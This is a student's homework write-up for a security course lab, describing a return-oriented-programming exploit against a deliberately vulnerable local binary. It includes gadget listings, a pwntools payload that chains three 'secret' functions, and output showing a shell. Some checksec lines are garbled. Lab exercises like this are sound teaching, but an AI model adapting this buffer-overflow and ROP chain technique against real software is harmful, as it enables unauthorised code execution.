

Nghi Vi

CS 395

G01167216

Assignment 4

I. Reconnaissance

Checking to see what, see that we cannot execute our own shell code, thus we need to find alternatives.

```
[#0] 0x4011e6 → getInput()
gef> checksec all commands
[+] checksec for './home/cs395/Desktop/Homework CS_395/Assignment 4/vuln'
Canary search for commands related to "word": ✗
NX search for full documentation: ✓ commands related to "word".
PIE instructions are allowed if unambiguously: ✗
Fortify: ✗
RelRO: Partial
gef> 
```

```
Undefined8 main(void)
{
    print_assignment();
    puts("FOOL! You may have an overflow, but no one will ever call my secret functions...");
    getInput();
    win(x,y,z,y);
    return 0;
}

1 void getInput(void)
2 {
3     char local_48[64];
4     fgets(local_48,200,stdin);
5     return;
6 }
```

Seemingly, the goal is to call all three secret functions by overflowing the buffer in getInput and win() function will give us a shell.

First, we find the distance from top of buffer to return address: 72 bytes

```
0x00007fffffffdef8|+0x0000: "Saaaataaaavaaavaaavaaaxaaayaaazaabbaabcaabdaabeaafb[...]" + $rsp
0x00007fffffffdf00|+0x0008: "uaaavaaavaaaxaaayaaazaabbaabcaabdaabeaafbgaabha[...]"
0x00007fffffffdf08|+0x0010: "waaaxaaayaaazaabbaabcaabdaabeaafbgaabhaabja[...]"
0x00007fffffffdf10|+0x0018: "yaaazaabbaabcaabdaabeaafbgaabhaabjaabkaabla[...]"
0x00007fffffffdf18|+0x0020: "baabcaabdaabeaafbgaabhaabjaabkaablaabmaabna[...]"
0x00007fffffffdf20|+0x0028: "daabeaafbgaabhaabjaabkaablaabmaabnaabpa[...]"
0x00007fffffffdf28|+0x0030: "faabgaabhaabjaabkaablaabmaabnaabpaabqaaab[...]"
0x00007fffffffdf30|+0x0038: "haabjaabkaablaabmaabnaabpaabqaaabraabsa[...]"

0x4011df <getInput+27> call 0x401040 <fgets@plt>
0x4011e4 <getInput+32> nop
0x4011e5 <getInput+33> leave
→ 0x4011e6 <getInput+34> ret
[!] Cannot disassemble from $PC
```

Next, we look into each of the secret functions to see what conditions to get them to run properly.

Secret1 doesn't need any condition, we only need to call it.

```
1 void secret1(void)
2 {
3     x = 1;
4     return;
5 }
```

Secret2 needs 1 parameter to be an int of values :0x100.

Secret3 needs 2 parameters where first = (int)0x1a80 and second = (int) 0x457.

```

void secret3(int param_1,int param_2)
{
    if ((param_1 == 0x1a80) && (param_2 == 0x457)) {
        z = 1;
    }
    return;
}

```

Next, we will need ROP gadgets to pop these values into correct parameters when functions are called.

Since at most we need 2 parameters, we need pop rdi and pop rsi only where gadgets must end with ret.

```

0x00000000040115f: lea edi, dword ptr [rip + 0xece]; call 0x1030; nop; pop rbp; ret;
0x00000000040115e: lea rdi, qword ptr [rip + 0xece]; call 0x1030; nop; pop rbp; ret;
0x000000000401122: mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
0x00000000040118e: mov dword ptr [rip + 0x2eb8], 1; nop; pop rbp; ret;
0x000000000401226: mov eax, 0; pop rbp; ret;
0x00000000040111b: mov ebp, esp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
0x00000000040121f: mov edi, eax; call 0x1050; mov eax, 0; pop rbp; ret;
0x00000000040121d: mov esi, ecx; mov edi, eax; call 0x1050; mov eax, 0; pop rbp; ret;
0x00000000040111a: mov rbp, rsp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
0x000000000401284: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000401286: pop r13; pop r14; pop r15; ret;
0x000000000401288: pop r14; pop r15; ret;
0x00000000040128a: pop r15; ret;
0x000000000401283: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000401287: pop rbp; pop r14; pop r15; ret;
0x000000000401129: pop rbp; ret;
0x00000000040128b: pop rdi; ret;
0x000000000401289: pop rsi; pop r15; ret;
0x000000000401285: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000401119: push rbp; mov rbp, rsp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
0x00000000040116a: nop; pop rbp; ret;

```

We have our ROP gadgets to pop RSI and RDI. But with RSI, it also pops R15 from the stack, thus we might need to add an extra argument to account for that.

II. Crafting Payload

```

1 from pwn import *
2 context.binary = elf = ELF("./vuln")
3
4 pop_rdi = p64(0x00000000000040128b)
5 pop_rsi_and_r15 = p64(0x000000000000401289)
6 secret1 = p64(elf.symbols['secret1'])
7 secret2 = p64(elf.symbols['secret2'])
8 secret3 = p64(elf.symbols['secret3'])
9 win      = p64(elf.symbols['win'])
10 main     = p64(elf.symbols['main'])
11 sec2_param1 = p64(0x100)
12 sec3_param1 = p64(0x1a80) #rdi
13 sec3_param2 = p64(0x457) #rsi
14
15
16 payload = b"A"*72
17 payload += secret1
18
19 payload += pop_rdi
20 payload += sec2_param1
21 payload += secret2
22
23 payload += pop_rdi
24 payload += sec3_param1
25 payload += pop_rsi_and_r15
26 payload += sec3_param2
27 payload += sec3_param2
28 payload += secret3
29 #payload += sec3_param2
30
31 payload += main
32
33 io = elf.process()
34 #gdb.attach(io)
35 io.sendline(payload)
36 io.interactive()

```

After many tries, I find that even though after loading the right parameters and call all three secret functions and follow that with calling win, the program still segfaults.

I found that the win functions doesn't take parameters argument from memory, but load them into registers , this can be seen in gdb :

```

0x401206 <main+31>      call    0x4011c4 <getInput>
→ 0x40120b <main+36>      mov     edx, DWORD PTR [rip+0x2e43]      # 0x404054 <z>
0x401211 <main+42>      mov     ecx, DWORD PTR [rip+0x2e39]      # 0x404050 <y>
0x401217 <main+48>      mov     eax, DWORD PTR [rip+0x2e2f]      # 0x40404c <x>
0x40121d <main+54>      mov     esi, ecx
0x40121f <main+56>      mov     edi, eax
0x401221 <main+58>      call   0x401050 <win@plt>

#0] Id 1, Name: "vuln"  stopped 0x40120b in main ()  reason: SINGLE STEP

```

Therefore, I think the way to solve this is to run all 3 secret functions to set x=y=z = 1 then call main again, this will trigger win with correct parameters.

III. Inject and Result

```

(cs395@kali)-[~/Desktop/Homework CS_395/Assignment 4]
$ python3 Assignment4_Exploit.py
[*] '/home/cs395/Desktop/Homework CS_395/Assignment 4/vuln'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
[+] Starting local process '/home/cs395/Desktop/Homework CS_395/Assignment 4/vuln': pid 11896
[*] Switching to interactive mode

=== Assignment 4 ===
FOOL! You may have an overflow, but no one will ever call my secret functions...

=== Assignment 4 ===
FOOL! You may have an overflow, but no one will ever call my secret functions...
$ ls
Good job!
$ ls
Assignment4_Exploit.py  core  libcs395.so  setup  vuln
$ whoami
cs395
$ pwd
/home/cs395/Desktop/Homework CS_395/Assignment 4
$

```